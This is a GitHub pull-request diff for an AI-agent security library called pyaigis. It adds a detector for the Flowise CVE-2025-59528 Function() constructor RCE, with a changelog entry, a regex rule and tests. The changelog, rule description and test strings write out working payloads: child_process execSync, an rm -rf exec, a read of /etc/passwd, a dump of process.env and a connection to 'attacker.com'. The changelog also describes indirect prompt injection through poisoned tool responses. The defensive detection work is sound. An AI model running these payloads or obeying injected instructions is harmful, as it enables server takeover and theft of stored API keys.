Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
40 changes: 40 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,46 @@ what got documented across releases.

## [Unreleased]

## [1.1.6] - 2026-05-18

### Hardened

- **`sc_flowise_js_rce`** (score 85, supply_chain filter) — Detects JavaScript `Function()`
constructor calls combined with dangerous Node.js system module references (`child_process`,
`fs`, `os`, `net`, `process.env`, `execSync`, `spawnSync`), and detects these patterns when
they appear inside MCP server configuration fields (`mcpServerConfig`, `"command":`,
`"args":`). This is the specific attack class exploited in Flowise CVE-2025-59528 (CVSS 10.0,
actively exploited April 2026): the Flowise CustomMCP node accepted user-supplied configuration
JSON and executed it via JavaScript's `Function()` constructor — functionally identical to
`eval()` — without any validation. A single payload such as
`new Function('return require("child_process").execSync("id")')()` achieves host-level code
execution on the Flowise server, giving the attacker access not just to the OS but to every
LLM API key stored in the application (OpenAI, Anthropic, Azure, database credentials).
12,000–15,000 Flowise instances were still unpatched when exploitation began, more than six
months after the fix was released. An AI agent receiving indirect prompt injection through a
poisoned tool response or retrieved document could be directed to inject this payload into a
Flowise workflow configuration. The rule also covers `Function.prototype.constructor`, a
prototype-chain bypass that reaches the same `Function()` object while evading naive
string-match blocklists that only search for the word `eval`. Fixed in Flowise 3.1.1.

**Blocked example:**
```
new Function('return require("child_process").execSync("id")')()
mcpServerConfig: "new Function(code)()"
"command": "require('child_process').exec('rm -rf /tmp/*')"
```

### Notes

- v1.1.6 is a manual follow-up release that salvages the `sc_flowise_js_rce` detector from
closed PR #62. PR #62 was closed because it raced PR #61 for the v1.1.5 slot and lost on
the merge order; the underlying Flowise CVE-2025-59528 detector is unrelated to the race
and is shipped here on its own.

**Tests:** 1582 passed · 0 failed · 0 skipped (measured 2026-05-18 via
`uv run --no-sync pytest --tb=no -q` on the v1.1.6 branch). 14 new tests added for
`sc_flowise_js_rce` (10 true positives, 4 true negatives); rest unchanged from v1.1.5 master.

## [1.1.5] - 2026-05-18

### Added
Expand Down
2 changes: 1 addition & 1 deletion aigis/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -104,4 +104,4 @@
"SleeperDetector",
"SleeperAlert",
]
__version__ = "1.1.5"
__version__ = "1.1.6"
48 changes: 48 additions & 0 deletions aigis/filters/patterns.py
Original file line number Diff line number Diff line change
Expand Up @@ -4438,6 +4438,54 @@ def _p(pattern: str, flags: int = re.IGNORECASE | re.DOTALL) -> re.Pattern:
"Upgrade PraisonAI to >=4.6.34."
),
),
# --- CVE-2025-59528: Flowise CustomMCP node JavaScript Function() constructor RCE ---
# The CustomMCP node parsed the mcpServerConfig string and executed JavaScript code via
# JavaScript's Function() constructor — identical to eval() — with full Node.js runtime
# access including child_process, fs, and process.env. An attacker who controls content
# that ends up in a Flowise workflow (e.g. via indirect prompt injection into a tool
# response that is used to build an MCP config) can achieve host-level RCE.
# Fixed in Flowise 3.1.1 (Function() replaced with JSON5.parse()); 12,000+ instances
# remained exposed as of April 2026. Exploitation began 6+ months after the patch.
DetectionPattern(
id="sc_flowise_js_rce",
name="JavaScript Function() Constructor / eval() in MCP Configuration (Flowise RCE Pattern)",
category="supply_chain",
pattern=_p(
r"new\s+Function\s*\([^)]{0,500}(?:require\s*\(\s*['\"](?:child_process|fs|os|net|http|https)['\"]"
r"|execSync|spawnSync|process\.env|\.exec\s*\()"
r"|Function\s*\.prototype\s*\.constructor\s*\("
r"|(?:mcpServerConfig\s*[\":]\s*|\"command\"\s*:\s*|\"args\"\s*:\s*)[\"'][^\"']{0,200}"
r"(?:eval\s*\(|new\s+Function\s*\(|require\s*\(\s*['\"]child_process)"
),
base_score=85,
description=(
"JavaScript Function() constructor or eval() equivalent in an MCP server "
"configuration field. "
"CVE-2025-59528 (CVSS 10.0): Flowise CustomMCP node passed the user-supplied "
"mcpServerConfig string to JavaScript's Function() constructor without any "
"validation, giving attackers full Node.js runtime access. A payload such as "
'`new Function(\'return require("child_process").execSync("id")\')()` achieves '
"host-level RCE — not just prompt-level manipulation — on any Flowise instance. "
"Flowise instances commonly store OpenAI, Anthropic, and Azure API keys as well as "
"database credentials; a single exploit grants access to all of them. "
"12,000+ exposed instances were identified in April 2026; exploitation began over "
"six months after the patch was released. "
"Function.prototype.constructor is a JavaScript technique that reaches the same "
"Function() constructor through the prototype chain, bypassing naive string-match "
"blocklists that only check for the word 'eval'."
),
owasp_ref="OWASP LLM03: Supply Chain / CWE-94 Improper Control of Code Generation",
remediation_hint=(
"Upgrade Flowise to version >=3.1.1 (CVE-2025-59528 fix replaced Function() "
"with JSON5.parse()). "
"Never allow user-controlled or LLM-generated strings to be passed to JavaScript's "
"Function() constructor, eval(), or any similar runtime code-generation call. "
"In MCP server configurations, validate all command and argument fields against an "
"allowlist of permitted values before use. "
"Treat any prompt or tool response containing Function() constructor calls combined "
"with Node.js system module references as a supply-chain RCE attempt."
),
),
]

# ---------------------------------------------------------------------------
Expand Down
2 changes: 1 addition & 1 deletion pyproject.toml
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ build-backend = "hatchling.build"

[project]
name = "pyaigis"
version = "1.1.5"
version = "1.1.6"
description = "Zero-dependency Python firewall for AI agents. 4-wall + L4-L7 defense built on 2025-2026 LLM-security papers (Mirror, StruQ, MI9, MemoryGraft, MSB, DataFilter, AdvJudge-Zero), 44 compliance templates across US/CN/JP/EU. Library, Docker sidecar, or CLI — drop-in for Claude Code, Cursor, FastAPI, LangChain."
readme = "README.md"
license = { file = "LICENSE" }
Expand Down
71 changes: 71 additions & 0 deletions tests/test_incident_postmortems3.py
Original file line number Diff line number Diff line change
Expand Up @@ -135,3 +135,74 @@ def test_auth_documentation_prose(self):
def test_auth_token_set_value(self):
# Token set to a real string — not disabled
assert not self.pat.pattern.search('AUTH_TOKEN = "my-secret-token-abc123"')


# ---------------------------------------------------------------------------
# sc_flowise_js_rce — CVE-2025-59528 (added in v1.1.6, salvaged from closed PR #62)
# ---------------------------------------------------------------------------


class TestFlowiseJsRce:
def setup_method(self):
self.pat = _get_supply("sc_flowise_js_rce")

# True positives — Function() constructor with dangerous Node.js modules
def test_new_function_child_process_detected(self):
payload = 'new Function(\'return require("child_process").execSync("id")\')() '
assert self.pat.pattern.search(payload)

def test_new_function_execsync_detected(self):
assert self.pat.pattern.search("new Function('code', 'return execSync(cmd)')() ")

def test_new_function_spawnsync_detected(self):
assert self.pat.pattern.search('new Function(\'return spawnSync("ls", ["-la"])\')()')

def test_new_function_fs_module_detected(self):
assert self.pat.pattern.search(
'new Function(\'return require("fs").readFileSync("/etc/passwd")\')() '
)

def test_new_function_process_env_detected(self):
assert self.pat.pattern.search("new Function('return JSON.stringify(process.env)')()")

def test_new_function_net_module_detected(self):
assert self.pat.pattern.search(
'new Function(\'return require("net").connect(4444,"attacker.com")\')() '
)

def test_function_prototype_constructor_detected(self):
assert self.pat.pattern.search(
"[].constructor.constructor('return process.env')()"
) or self.pat.pattern.search("Function.prototype.constructor('alert(1)')")

# True positives — dangerous pattern inside mcpServerConfig field
def test_mcp_server_config_eval_detected(self):
payload = 'mcpServerConfig: "eval(userInput)"'
assert self.pat.pattern.search(payload)

def test_mcp_server_config_new_function_detected(self):
payload = 'mcpServerConfig: "new Function(code)()"'
assert self.pat.pattern.search(payload)

def test_mcp_command_child_process_detected(self):
payload = "\"command\": \"require('child_process').exec('id')\""
assert self.pat.pattern.search(payload)

# True negatives — legitimate mentions that should NOT fire
def test_discussion_of_function_constructor_benign(self):
assert not self.pat.pattern.search(
"The Function() constructor is a JavaScript built-in that creates function objects."
)

def test_json5_parse_benign(self):
assert not self.pat.pattern.search(
"The fix replaced Function() with JSON5.parse() to safely parse config."
)

def test_safe_new_function_no_modules_benign(self):
assert not self.pat.pattern.search("new Function('x', 'return x + 1')(5)")

def test_require_in_prose_benign(self):
assert not self.pat.pattern.search(
"You can require the child_process module in Node.js for OS commands."
)
2 changes: 1 addition & 1 deletion uv.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

Loading